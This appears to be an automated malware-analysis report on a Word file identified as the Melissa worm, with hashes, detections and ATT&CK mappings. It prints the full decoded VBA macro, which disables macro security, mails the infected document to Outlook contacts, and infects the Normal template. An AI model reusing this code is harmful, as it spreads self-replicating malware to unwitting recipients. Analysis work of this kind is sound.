Melissa — Office (OLE) malware analysis

Static analysis result for SHA-256 dfe8c8ba0931ab38…

MALICIOUS

Office (OLE)

30.5 KB Created: 2000-06-21 06:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0887a3e57bd12862d32eb343ce2e279c SHA-1: c8bfedf4a8ca6a159c997b1491d2701f1e399fbe SHA-256: dfe8c8ba0931ab3850041d0a5cdc2e10218b95a7dba7ceb09e1207ac148b2073
180 Risk Score

Malware Insights

Melissa · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV detections for 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Melissa-4' strongly indicate the Melissa family. The VBA macro explicitly uses the 'Document_Open' subroutine, a common technique for this family, to access Outlook and email copies of the infected document to contacts. The script attempts to modify security settings and spread via Outlook, aligning with the known behavior of the Melissa worm.

Heuristics 3

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10887 bytes
SHA-256: f7d4fed8ddea8d0d82377fe4a0197e0dadbb4db611693562eb5ea492ac64a4b7
Detection
ClamAV: Doc.Trojan.Melissa-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Melissa"
Attribute VB_Base = "1Normal.Melissa"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = True
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = True
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Autluk" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 2 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
DasMapiName.Logoff
End If
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
End Sub


' Processing file: /opt/analyzer/scan_staging/254de69d20524325858a9e141e7e480c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Melissa - 5178 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #2:
' 	LitVarSpecial (True)
' 	LitStr 0x000B "Security..."
' 	LitStr 0x0005 "Macro"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #3:
' 	LitDI4 0x0001 0x0000 
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #4:
' 	ElseBlock 
' Line #5:
' 	Lit
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.